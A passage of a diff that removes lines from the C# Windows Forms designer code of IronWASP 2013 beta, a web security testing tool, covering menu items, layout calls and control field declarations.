this.EncodeDecodeToolStripMenuItem.Name = "EncodeDecodeToolStripMenuItem"; - this.EncodeDecodeToolStripMenuItem.Size = new System.Drawing.Size(158, 22); - this.EncodeDecodeToolStripMenuItem.Text = "Encode/Decode"; - this.EncodeDecodeToolStripMenuItem.Click += new System.EventHandler(this.EncodeDecodeToolStripMenuItem_Click); - // - // DiffTextToolStripMenuItem - // - this.DiffTextToolStripMenuItem.Name = "DiffTextToolStripMenuItem"; - this.DiffTextToolStripMenuItem.Size = new System.Drawing.Size(158, 22); - this.DiffTextToolStripMenuItem.Text = "Diff Text"; - this.DiffTextToolStripMenuItem.Click += new System.EventHandler(this.DiffTextToolStripMenuItem_Click); - // - // RenderHTMLToolStripMenuItem - // - this.RenderHTMLToolStripMenuItem.Name = "RenderHTMLToolStripMenuItem"; - this.RenderHTMLToolStripMenuItem.Size = new System.Drawing.Size(158, 22); - this.RenderHTMLToolStripMenuItem.Text = "Render HTML"; - this.RenderHTMLToolStripMenuItem.Click += new System.EventHandler(this.RenderHTMLToolStripMenuItem_Click); - // - // modulesToolStripMenuItem - // - this.modulesToolStripMenuItem.Name = "modulesToolStripMenuItem"; - this.modulesToolStripMenuItem.Size = new System.Drawing.Size(65, 20); - this.modulesToolStripMenuItem.Text = "Modules"; - // - // devToolsToolStripMenuItem - // - this.devToolsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.codingAssistantsToolStripMenuItem, - this.scriptPluginEditorToolStripMenuItem, - this.uIDesignerToolStripMenuItem1}); - this.devToolsToolStripMenuItem.Name = "devToolsToolStripMenuItem"; - this.devToolsToolStripMenuItem.Size = new System.Drawing.Size(71, 20); - this.devToolsToolStripMenuItem.Text = "Dev Tools"; - // - // codingAssistantsToolStripMenuItem - // - this.codingAssistantsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.scriptCreationAssistantToolStripMenuItem, - this.sessionPluginCreationAssistantToolStripMenuItem, - this.activePluginCreationAssistantToolStripMenuItem, - this.passivePluginCreationAssistantToolStripMenuItem, - this.moduleCreationAssistantToolStripMenuItem}); - this.codingAssistantsToolStripMenuItem.Name = "codingAssistantsToolStripMenuItem"; - this.codingAssistantsToolStripMenuItem.Size = new System.Drawing.Size(177, 22); - this.codingAssistantsToolStripMenuItem.Text = "Coding Assistants"; - // - // scriptCreationAssistantToolStripMenuItem - // - this.scriptCreationAssistantToolStripMenuItem.Name = "scriptCreationAssistantToolStripMenuItem"; - this.scriptCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); - this.scriptCreationAssistantToolStripMenuItem.Text = "Script Creation Assistant"; - this.scriptCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.scriptCreationAssistantToolStripMenuItem_Click); - // - // sessionPluginCreationAssistantToolStripMenuItem - // - this.sessionPluginCreationAssistantToolStripMenuItem.Name = "sessionPluginCreationAssistantToolStripMenuItem"; - this.sessionPluginCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); - this.sessionPluginCreationAssistantToolStripMenuItem.Text = "Session Plugin Creation Assistant"; - this.sessionPluginCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.sessionPluginCreationAssistantToolStripMenuItem_Click); - // - // activePluginCreationAssistantToolStripMenuItem - // - this.activePluginCreationAssistantToolStripMenuItem.Name = "activePluginCreationAssistantToolStripMenuItem"; - this.activePluginCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); - this.activePluginCreationAssistantToolStripMenuItem.Text = "Active Plugin Creation Assistant"; - this.activePluginCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.activePluginCreationAssistantToolStripMenuItem_Click); - // - // passivePluginCreationAssistantToolStripMenuItem - // - this.passivePluginCreationAssistantToolStripMenuItem.Name = "passivePluginCreationAssistantToolStripMenuItem"; - this.passivePluginCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); - this.passivePluginCreationAssistantToolStripMenuItem.Text = "Passive Plugin Creation Assistant"; - this.passivePluginCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.passivePluginCreationAssistantToolStripMenuItem_Click); - // - // moduleCreationAssistantToolStripMenuItem - // - this.moduleCreationAssistantToolStripMenuItem.Name = "moduleCreationAssistantToolStripMenuItem"; - this.moduleCreationAssistantToolStripMenuItem.Size = new System.Drawing.Size(248, 22); - this.moduleCreationAssistantToolStripMenuItem.Text = "Module Creation Assistant"; - this.moduleCreationAssistantToolStripMenuItem.Click += new System.EventHandler(this.moduleCreationAssistantToolStripMenuItem_Click); - // - // scriptPluginEditorToolStripMenuItem - // - this.scriptPluginEditorToolStripMenuItem.Name = "scriptPluginEditorToolStripMenuItem"; - this.scriptPluginEditorToolStripMenuItem.Size = new System.Drawing.Size(177, 22); - this.scriptPluginEditorToolStripMenuItem.Text = "Script/Plugin Editor"; - this.scriptPluginEditorToolStripMenuItem.Click += new System.EventHandler(this.PluginEditorToolStripMenuItem_Click); - // - // uIDesignerToolStripMenuItem1 - // - this.uIDesignerToolStripMenuItem1.Name = "uIDesignerToolStripMenuItem1"; - this.uIDesignerToolStripMenuItem1.Size = new System.Drawing.Size(177, 22); - this.uIDesignerToolStripMenuItem1.Text = "UI Designer"; - this.uIDesignerToolStripMenuItem1.Click += new System.EventHandler(this.UIDesignerToolStripMenuItem_Click); - // - // AboutToolStripMenuItem - // - this.AboutToolStripMenuItem.Name = "AboutToolStripMenuItem"; - this.AboutToolStripMenuItem.Size = new System.Drawing.Size(52, 20); - this.AboutToolStripMenuItem.Text = "About"; - this.AboutToolStripMenuItem.Click += new System.EventHandler(this.AboutToolStripMenuItem_Click); - // - // ProjectFileOpenDialog - // - this.ProjectFileOpenDialog.Filter = "Iron Project Files|*.iron"; - this.ProjectFileOpenDialog.Title = "Open Iron Project File"; - // - // BurpLogOpenDialog - // - this.BurpLogOpenDialog.Title = "Select the Burp Log file to Import"; - // - // ConfigViewHideLL - // - this.ConfigViewHideLL.AutoSize = true; - this.ConfigViewHideLL.Location = new System.Drawing.Point(3, 5); - this.ConfigViewHideLL.Name = "ConfigViewHideLL"; - this.ConfigViewHideLL.Size = new System.Drawing.Size(67, 13); - this.ConfigViewHideLL.TabIndex = 13; - this.ConfigViewHideLL.TabStop = true; - this.ConfigViewHideLL.Text = "Show Config"; - this.ConfigViewHideLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigViewHideLL_LinkClicked); - // - // panel1 - // - this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.panel1.Controls.Add(this.ConfigViewHideLL); - this.panel1.Location = new System.Drawing.Point(812, 0); - this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(72, 23); - this.panel1.TabIndex = 14; - // - // PromptBlinkTimer - // - this.PromptBlinkTimer.Interval = 400; - this.PromptBlinkTimer.Tick += new System.EventHandler(this.PromptBlinkTimer_Tick); - // - // label8 - // - this.label8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.label8.AutoSize = true; - this.label8.ForeColor = System.Drawing.Color.Gray; - this.label8.Location = new System.Drawing.Point(254, 23); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(126, 13); - this.label8.TabIndex = 0; - this.label8.Text = "Coming in version 0.9.8.0"; - // - // Main - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 561); - this.Controls.Add(this.panel1); - this.Controls.Add(this.ConfigPanel); - this.Controls.Add(this.split_main); - this.Controls.Add(this.TopMenu); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MainMenuStrip = this.TopMenu; - this.Name = "Main"; - this.Text = "IronWASP 2013 beta"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Main_FormClosing); - this.Load += new System.EventHandler(this.Main_Load); - this.split_main.Panel1.ResumeLayout(false); - this.split_main.Panel2.ResumeLayout(false); - this.split_main.ResumeLayout(false); - this.IronTreeMenuStrip.ResumeLayout(false); - this.main_tab.ResumeLayout(false); - this.mt_console.ResumeLayout(false); - this.mt_console.PerformLayout(); - this.mt_auto.ResumeLayout(false); - this.ASMainTabs.ResumeLayout(false); - this.ASConfigureTab.ResumeLayout(false); - this.ScanJobsBaseSplit.Panel1.ResumeLayout(false); - this.ScanJobsBaseSplit.Panel2.ResumeLayout(false); - this.ScanJobsBaseSplit.ResumeLayout(false); - this.ScanDisplayPanel.ResumeLayout(false); - this.ScanDisplayPanel.PerformLayout(); - this.ASBaseTabs.ResumeLayout(false); - this.ASRequestTab.ResumeLayout(false); - this.ScanJobsTopSplit.Panel1.ResumeLayout(false); - this.ScanJobsTopSplit.Panel2.ResumeLayout(false); - this.ScanJobsTopSplit.Panel2.PerformLayout(); - this.ScanJobsTopSplit.ResumeLayout(false); - this.ASRequestScanFullTabs.ResumeLayout(false); - this.tabPage20.ResumeLayout(false); - this.tabPage20.PerformLayout(); - this.tabPage21.ResumeLayout(false); - this.tabPage21.PerformLayout(); - this.ASInjectionPointTab.ResumeLayout(false); - this.ASRequestTabs.ResumeLayout(false); - this.ASRequestURLTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanURLGrid)).EndInit(); - this.ASRequestQueryTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanQueryGrid)).EndInit(); - this.ASRequestBodyTab.ResumeLayout(false); - this.ASBodyInjectTypeTabs.ResumeLayout(false); - this.ASBodyTypeNormalTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanBodyTypeNormalGrid)).EndInit(); - this.ASBodyTypeFormatPluginTab.ResumeLayout(false); - this.ASRequestBodyTabSplit.Panel1.ResumeLayout(false); - this.ASRequestBodyTabSplit.Panel2.ResumeLayout(false); - this.ASRequestBodyTabSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestFormatPluginsGrid)).EndInit(); - this.ASRequestScanBodyTabs.ResumeLayout(false); - this.ASRequestScanBodyGridTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ConfigureScanRequestBodyTypeFormatPluginGrid)).EndInit(); - this.ASRequestScanBodyXMLTab.ResumeLayout(false); - this.ASRequestScanBodyXMLTab.PerformLayout(); - this.ASBodyTypeCustomTab.ResumeLayout(false); - this.ASBodyTypeCustomTab.PerformLayout(); - this.ASRequestCookieTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanCookieGrid)).EndInit(); - this.ASRequestHeadersTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ASRequestScanHeadersGrid)).EndInit(); - this.ASRequestParameterNamesTab.ResumeLayout(false); - this.ASRequestParameterNamesTab.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ASScanPluginsGrid)).EndInit(); - this.ScanTopPanel.ResumeLayout(false); - this.ScanTopPanel.PerformLayout(); - this.ScanJobsBottomSplit.Panel1.ResumeLayout(false); - this.ScanJobsBottomSplit.Panel2.ResumeLayout(false); - this.ScanJobsBottomSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ASQueueGrid)).EndInit(); - this.ScanQueueMenu.ResumeLayout(false); - this.panel2.ResumeLayout(false); - this.panel2.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigScannerThreadMaxCountTB)).EndInit(); - this.ASTraceTab.ResumeLayout(false); - this.ScanTraceBaseSplit.Panel1.ResumeLayout(false); - this.ScanTraceBaseSplit.Panel2.ResumeLayout(false); - this.ScanTraceBaseSplit.ResumeLayout(false); - this.ScanTraceTopSplit.Panel1.ResumeLayout(false); - this.ScanTraceTopSplit.Panel1.PerformLayout(); - this.ScanTraceTopSplit.Panel2.ResumeLayout(false); - this.ScanTraceTopSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanTraceGrid)).EndInit(); - this.ScanTraceBottomSplit.Panel1.ResumeLayout(false); - this.ScanTraceBottomSplit.Panel1.PerformLayout(); - this.ScanTraceBottomSplit.Panel2.ResumeLayout(false); - this.ScanTraceBottomSplit.ResumeLayout(false); - this.ScanTraceTabs.ResumeLayout(false); - this.ScanTraceOverviewTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).EndInit(); - this.ScanTraceDetailedInfoTab.ResumeLayout(false); - this.mt_manual.ResumeLayout(false); - this.MTFirstBaseSplit.Panel1.ResumeLayout(false); - this.MTFirstBaseSplit.Panel2.ResumeLayout(false); - this.MTFirstBaseSplit.ResumeLayout(false); - this.MTBaseTopSplit.Panel1.ResumeLayout(false); - this.MTBaseTopSplit.Panel1.PerformLayout(); - this.MTBaseTopSplit.Panel2.ResumeLayout(false); - this.MTBaseTopSplit.Panel2.PerformLayout(); - this.MTBaseTopSplit.ResumeLayout(false); - this.MTBaseSplit.Panel1.ResumeLayout(false); - this.MTBaseSplit.Panel2.ResumeLayout(false); - this.MTBaseSplit.ResumeLayout(false); - this.TestBaseRequestSplit.Panel1.ResumeLayout(false); - this.TestBaseRequestSplit.Panel1.PerformLayout(); - this.TestBaseRequestSplit.Panel2.ResumeLayout(false); - this.TestBaseRequestSplit.ResumeLayout(false); - this.LogMenu.ResumeLayout(false); - this.panel4.ResumeLayout(false); - this.panel4.PerformLayout(); - this.MTResponseSideTabs.ResumeLayout(false); - this.MTResponseTab.ResumeLayout(false); - this.MTResponseTab.PerformLayout(); - this.MTGroupHistoryTab.ResumeLayout(false); - this.TestGroupHistoryBaseSplit.Panel1.ResumeLayout(false); - this.TestGroupHistoryBaseSplit.Panel1.PerformLayout(); - this.TestGroupHistoryBaseSplit.Panel2.ResumeLayout(false); - this.TestGroupHistoryBaseSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.TestGroupLogGrid)).EndInit(); - this.MTHelp.ResumeLayout(false); - this.MTHelp.PerformLayout(); - this.mt_scripting.ResumeLayout(false); - this.ScriptingShellSplit.Panel1.ResumeLayout(false); - this.ScriptingShellSplit.Panel1.PerformLayout(); - this.ScriptingShellSplit.Panel2.ResumeLayout(false); - this.ScriptingShellSplit.ResumeLayout(false); - this.panel3.ResumeLayout(false); - this.panel3.PerformLayout(); - this.ScriptingShellTabs.ResumeLayout(false); - this.InteractiveShellTP.ResumeLayout(false); - this.InteractiveShellTP.PerformLayout(); - this.ShellInPanel.ResumeLayout(false); - this.ShellInPanel.PerformLayout(); - this.MultiLineShellTP.ResumeLayout(false); - this.ScriptedSendTP.ResumeLayout(false); - this.ScriptedSendTP.PerformLayout(); - this.ScriptingHelpTP.ResumeLayout(false); - this.ScriptingHelpTP.PerformLayout(); - this.ScriptingShellAPISplit.Panel1.ResumeLayout(false); - this.ScriptingShellAPISplit.Panel2.ResumeLayout(false); - this.ScriptingShellAPISplit.ResumeLayout(false); - this.ScriptingShellAPITreeTabs.ResumeLayout(false); - this.ScriptingShellAPITreePythonTab.ResumeLayout(false); - this.ScriptingShellAPITreeRubyTab.ResumeLayout(false); - this.mt_proxy.ResumeLayout(false); - this.ProxyBaseSplit.Panel1.ResumeLayout(false); - this.ProxyBaseSplit.Panel1.PerformLayout(); - this.ProxyBaseSplit.Panel2.ResumeLayout(false); - this.ProxyBaseSplit.ResumeLayout(false); - this.ProxyBottomPanel.ResumeLayout(false); - this.ProxyInterceptTabs.ResumeLayout(false); - this.ProxyInterceptRequestTab.ResumeLayout(false); - this.ProxyInterceptResponseTab.ResumeLayout(false); - this.ProxyScriptedInterceptTab.ResumeLayout(false); - this.ScriptedInterceptionBaseSplit.Panel1.ResumeLayout(false); - this.ScriptedInterceptionBaseSplit.Panel1.PerformLayout(); - this.ScriptedInterceptionBaseSplit.Panel2.ResumeLayout(false); - this.ScriptedInterceptionBaseSplit.ResumeLayout(false); - this.panel5.ResumeLayout(false); - this.panel5.PerformLayout(); - this.ScriptedInterceptionBottomSplit.Panel1.ResumeLayout(false); - this.ScriptedInterceptionBottomSplit.Panel2.ResumeLayout(false); - this.ScriptedInterceptionBottomSplit.Panel2.PerformLayout(); - this.ScriptedInterceptionBottomSplit.ResumeLayout(false); - this.ProxyHelpTab.ResumeLayout(false); - this.ProxyHelpTab.PerformLayout(); - this.mt_logs.ResumeLayout(false); - this.LogBaseSplit.Panel1.ResumeLayout(false); - this.LogBaseSplit.Panel2.ResumeLayout(false); - this.LogBaseSplit.ResumeLayout(false); - this.LogsTopSplit.Panel1.ResumeLayout(false); - this.LogsTopSplit.Panel1.PerformLayout(); - this.LogsTopSplit.Panel2.ResumeLayout(false); - this.LogsTopSplit.ResumeLayout(false); - this.LogDisplayTabs.ResumeLayout(false); - this.tabPage7.ResumeLayout(false); - this.tabPage29.ResumeLayout(false); - this.tabPage1.ResumeLayout(false); - this.tabPage1.PerformLayout(); - this.LogsBottomSplit.Panel1.ResumeLayout(false); - this.LogsBottomSplit.Panel1.PerformLayout(); - this.LogsBottomSplit.Panel2.ResumeLayout(false); - this.LogsBottomSplit.ResumeLayout(false); - this.LogTabs.ResumeLayout(false); - this.ProxyLogTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ProxyLogGrid)).EndInit(); - this.ScanLogTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ScanLogGrid)).EndInit(); - this.TestLogTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.TestLogGrid)).EndInit(); - this.ShellLogTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ShellLogGrid)).EndInit(); - this.ProbeLogTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ProbeLogGrid)).EndInit(); - this.OtherLogTab.ResumeLayout(false); - this.OtherLogsTabBaseSplit.Panel1.ResumeLayout(false); - this.OtherLogsTabBaseSplit.Panel2.ResumeLayout(false); - this.OtherLogsTabBaseSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.OtherLogSourceGrid)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.OtherLogGrid)).EndInit(); - this.SiteMapLogTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.SiteMapLogGrid)).EndInit(); - this.mt_results.ResumeLayout(false); - this.ResultsTabMainSplit.Panel1.ResumeLayout(false); - this.ResultsTabMainSplit.Panel2.ResumeLayout(false); - this.ResultsTabMainSplit.ResumeLayout(false); - this.ResultsTriggersMainSplit.Panel1.ResumeLayout(false); - this.ResultsTriggersMainSplit.Panel2.ResumeLayout(false); - this.ResultsTriggersMainSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ResultsTriggersGrid)).EndInit(); - this.ResultsDisplayTabs.ResumeLayout(false); - this.ResultsTriggerHighlightTab.ResumeLayout(false); - this.ResultsRequestTab.ResumeLayout(false); - this.ResultsResponseTab.ResumeLayout(false); - this.ResultsTriggerToolsTab.ResumeLayout(false); - this.TrigggerAnalysisToolsSplit.Panel1.ResumeLayout(false); - this.TrigggerAnalysisToolsSplit.Panel2.ResumeLayout(false); - this.TrigggerAnalysisToolsSplit.ResumeLayout(false); - this.ResultsScanTracePanel.ResumeLayout(false); - this.ResultsTriggerOptionsPanel.ResumeLayout(false); - this.ResultsTriggerOptionsPanel.PerformLayout(); - this.ResultsTriggersComparePanel.ResumeLayout(false); - this.ResultsTriggersComparePanel.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.SelectForDiffTriggersGrid)).EndInit(); - this.ResultsHelpTab.ResumeLayout(false); - this.ResultsHelpTab.PerformLayout(); - this.mt_hawas.ResumeLayout(false); - this.mt_hawas.PerformLayout(); - this.mt_dev.ResumeLayout(false); - this.DevMainTabs.ResumeLayout(false); - this.DevModulesAndPluginsTab.ResumeLayout(false); - this.PluginsMainSplit.Panel1.ResumeLayout(false); - this.PluginsMainSplit.Panel2.ResumeLayout(false); - this.PluginsMainSplit.ResumeLayout(false); - this.PluginTreeMenu.ResumeLayout(false); - this.PluginEditorSplit.Panel1.ResumeLayout(false); - this.PluginEditorSplit.Panel2.ResumeLayout(false); - this.PluginEditorSplit.ResumeLayout(false); - this.PluginsCentreSplit.Panel1.ResumeLayout(false); - this.PluginsCentreSplit.Panel2.ResumeLayout(false); - this.PluginsCentreSplit.ResumeLayout(false); - this.PluginEditorAPISplit.Panel1.ResumeLayout(false); - this.PluginEditorAPISplit.Panel2.ResumeLayout(false); - this.PluginEditorAPISplit.ResumeLayout(false); - this.PluginEditorAPITreeTabs.ResumeLayout(false); - this.PluginEditorPythonAPITreeTab.ResumeLayout(false); - this.PluginEditorRubyAPITreeTab.ResumeLayout(false); - this.DevTraceTab.ResumeLayout(false); - this.TraceMainTabs.ResumeLayout(false); - this.SessionPluginTraceTab.ResumeLayout(false); - this.SessionPluginTraceBaseSplit.Panel1.ResumeLayout(false); - this.SessionPluginTraceBaseSplit.Panel2.ResumeLayout(false); - this.SessionPluginTraceBaseSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.SessionPluginTraceGrid)).EndInit(); - this.SessionPluginTraceBottomTabs.ResumeLayout(false); - this.SessionPluginTraceMessageTab.ResumeLayout(false); - this.SessionPluginTraceMsgBaseSplit.Panel1.ResumeLayout(false); - this.SessionPluginTraceMsgBaseSplit.Panel1.PerformLayout(); - this.SessionPluginTraceMsgBaseSplit.Panel2.ResumeLayout(false); - this.SessionPluginTraceMsgBaseSplit.ResumeLayout(false); - this.SessionPluginTraceLogViewTab.ResumeLayout(false); - this.SessionPluginTraceSessionTabs.ResumeLayout(false); - this.tabPage12.ResumeLayout(false); - this.tabPage3.ResumeLayout(false); - this.DebugTraceTab.ResumeLayout(false); - this.TraceBaseSplit.Panel1.ResumeLayout(false); - this.TraceBaseSplit.Panel2.ResumeLayout(false); - this.TraceBaseSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.TraceGrid)).EndInit(); - this.DevHelpTab.ResumeLayout(false); - this.DevHelpTab.PerformLayout(); - this.JSTainTraceEditMenu.ResumeLayout(false); - this.MTRequestFormatPluginsMenu.ResumeLayout(false); - this.ProxyResponseFormatPluginsMenu.ResumeLayout(false); - this.ProxyRequestFormatPluginsMenu.ResumeLayout(false); - this.ConfigPanel.ResumeLayout(false); - this.ConfigPanelTabs.ResumeLayout(false); - this.ConfigInterceptRulesTab.ResumeLayout(false); - this.ConfigInterceptRulesTab.PerformLayout(); - this.ConfigRuleKeywordInResponseGB.ResumeLayout(false); - this.ConfigRuleKeywordInResponseGB.PerformLayout(); - this.ConfigRuleKeywordInRequestGB.ResumeLayout(false); - this.ConfigRuleKeywordInRequestGB.PerformLayout(); - this.groupBox2.ResumeLayout(false); - this.groupBox2.PerformLayout(); - this.groupBox1.ResumeLayout(false); - this.groupBox1.PerformLayout(); - this.ConfigDisplayRulesTab.ResumeLayout(false); - this.ConfigDisplayRulesTab.PerformLayout(); - this.groupBox3.ResumeLayout(false); - this.groupBox3.PerformLayout(); - this.groupBox4.ResumeLayout(false); - this.groupBox4.PerformLayout(); - this.ConfigScriptingTab.ResumeLayout(false); - this.ConfigScriptBaseSplit.Panel1.ResumeLayout(false); - this.ConfigScriptBaseSplit.Panel1.PerformLayout(); - this.ConfigScriptBaseSplit.Panel2.ResumeLayout(false); - this.ConfigScriptBaseSplit.Panel2.PerformLayout(); - this.ConfigScriptBaseSplit.ResumeLayout(false); - this.ConfigScriptPathSplit.Panel1.ResumeLayout(false); - this.ConfigScriptPathSplit.Panel1.PerformLayout(); - this.ConfigScriptPathSplit.Panel2.ResumeLayout(false); - this.ConfigScriptPathSplit.Panel2.PerformLayout(); - this.ConfigScriptPathSplit.ResumeLayout(false); - this.ConfigScriptCommandSplit.Panel1.ResumeLayout(false); - this.ConfigScriptCommandSplit.Panel1.PerformLayout(); - this.ConfigScriptCommandSplit.Panel2.ResumeLayout(false); - this.ConfigScriptCommandSplit.Panel2.PerformLayout(); - this.ConfigScriptCommandSplit.ResumeLayout(false); - this.ConfigHTTPAPITab.ResumeLayout(false); - this.ConfigHTTPAPIBaseSplit.Panel1.ResumeLayout(false); - this.ConfigHTTPAPIBaseSplit.Panel1.PerformLayout(); - this.ConfigHTTPAPIBaseSplit.Panel2.ResumeLayout(false); - this.ConfigHTTPAPIBaseSplit.Panel2.PerformLayout(); - this.ConfigHTTPAPIBaseSplit.ResumeLayout(false); - this.ConfigTaintConfigTab.ResumeLayout(false); - this.ConfigTaintConfigTab.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigDefaultJSTaintConfigGrid)).EndInit(); - this.ConfigPassiveAnalysisTab.ResumeLayout(false); - this.ConfigPassiveAnalysisTab.PerformLayout(); - this.TopMenu.ResumeLayout(false); - this.TopMenu.PerformLayout(); - this.panel1.ResumeLayout(false); - this.panel1.PerformLayout(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.SplitContainer split_main; - private System.Windows.Forms.MenuStrip TopMenu; - private System.Windows.Forms.ToolStripMenuItem projectToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem OpenProjectToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem toolsToolStripMenuItem; - private System.Windows.Forms.TabPage mt_proxy; - private System.Windows.Forms.TabPage mt_manual; - private System.Windows.Forms.TabPage mt_auto; - private System.Windows.Forms.TabPage ProxyInterceptRequestTab; - private System.Windows.Forms.TabPage ProxyInterceptResponseTab; - private System.Windows.Forms.CheckBox InterceptResponseCB; - private System.Windows.Forms.CheckBox InterceptRequestCB; - private System.Windows.Forms.SplitContainer MTBaseSplit; - private System.Windows.Forms.ContextMenuStrip LogMenu; - private System.Windows.Forms.ToolStripMenuItem SelectForManualTestingToolStripMenuItem; - internal System.Windows.Forms.DataGridView ProxyLogGrid; - internal System.Windows.Forms.DataGridView TestLogGrid; - internal System.Windows.Forms.Button MTSendBtn; - internal System.Windows.Forms.Label TestIDLbl; - public System.Windows.Forms.TreeView IronTree; - internal System.Windows.Forms.DataGridView ShellLogGrid; - internal System.Windows.Forms.TabControl ProxyInterceptTabs; - private System.Windows.Forms.TabPage ASConfigureTab; - internal System.Windows.Forms.DataGridView ScanLogGrid; - internal System.Windows.Forms.Button MTScriptedSendBtn; - internal System.Windows.Forms.Button MTStoredRequestBtn; - private System.Windows.Forms.TabPage ASRequestURLTab; - private System.Windows.Forms.TabPage ASRequestQueryTab; - private System.Windows.Forms.TabPage ASRequestBodyTab; - private System.Windows.Forms.TabPage ASRequestCookieTab; - private System.Windows.Forms.TabPage ASRequestHeadersTab; - private System.Windows.Forms.SplitContainer ASRequestBodyTabSplit; - private System.Windows.Forms.Label ASInjectHeaderLbl; - private System.Windows.Forms.ToolStripMenuItem SelectForAutomatedScanningToolStripMenuItem; - private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridScanID; - private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridStatus; - private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridURL; - internal System.Windows.Forms.DataGridView ASQueueGrid; - private System.Windows.Forms.TabPage ASRequestScanBodyGridTab; - private System.Windows.Forms.TabPage ASRequestScanBodyXMLTab; - private System.Windows.Forms.TabPage mt_results; - internal System.Windows.Forms.TabControl ResultsDisplayTabs; - private System.Windows.Forms.TabPage ResultsRequestTab; - private System.Windows.Forms.TabPage ResultsResponseTab; - private System.Windows.Forms.SplitContainer ResultsTriggersMainSplit; - internal System.Windows.Forms.RichTextBox ResultsDisplayRTB; - internal System.Windows.Forms.DataGridView ResultsTriggersGrid; - internal System.Windows.Forms.TabControl main_tab; - private System.Windows.Forms.DataGridViewTextBoxColumn ResultsTriggerGridNumberColumn; - private System.Windows.Forms.Panel ConfigPanel; - private System.Windows.Forms.TabControl ConfigPanelTabs; - private System.Windows.Forms.Label label7; - internal System.Windows.Forms.CheckBox ConfigSetAsSystemProxyCB; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label13; - private System.Windows.Forms.LinkLabel ConfigRuleApplyChangesLL; - private System.Windows.Forms.LinkLabel ConfigRuleCancelChangesLL; - private System.Windows.Forms.GroupBox groupBox1; - private System.Windows.Forms.GroupBox groupBox2; - internal System.Windows.Forms.CheckBox ConfigRuleOtherMethodsCB; - internal System.Windows.Forms.CheckBox ConfigRulePOSTMethodCB; - internal System.Windows.Forms.CheckBox ConfigRuleGETMethodCB; - internal System.Windows.Forms.CheckBox ConfigRuleContentHTMLCB; - internal System.Windows.Forms.CheckBox ConfigRuleContentOtherBinaryCB; - internal System.Windows.Forms.CheckBox ConfigRuleContentImgCB; - internal System.Windows.Forms.CheckBox ConfigRuleContentJSCB; - internal System.Windows.Forms.CheckBox ConfigRuleContentCSSCB; - internal System.Windows.Forms.CheckBox ConfigRuleContentXMLCB; - internal System.Windows.Forms.CheckBox ConfigRuleContentOtherTextCB; - internal System.Windows.Forms.CheckBox ConfigRuleCode500CB; - internal System.Windows.Forms.CheckBox ConfigRuleCode4xxCB; - internal System.Windows.Forms.CheckBox ConfigRuleCode403CB; - internal System.Windows.Forms.CheckBox ConfigRuleCode3xxCB; - internal System.Windows.Forms.CheckBox ConfigRuleCode301_2CB; - internal System.Windows.Forms.CheckBox ConfigRuleCode2xxCB; - internal System.Windows.Forms.CheckBox ConfigRuleCode200CB; - internal 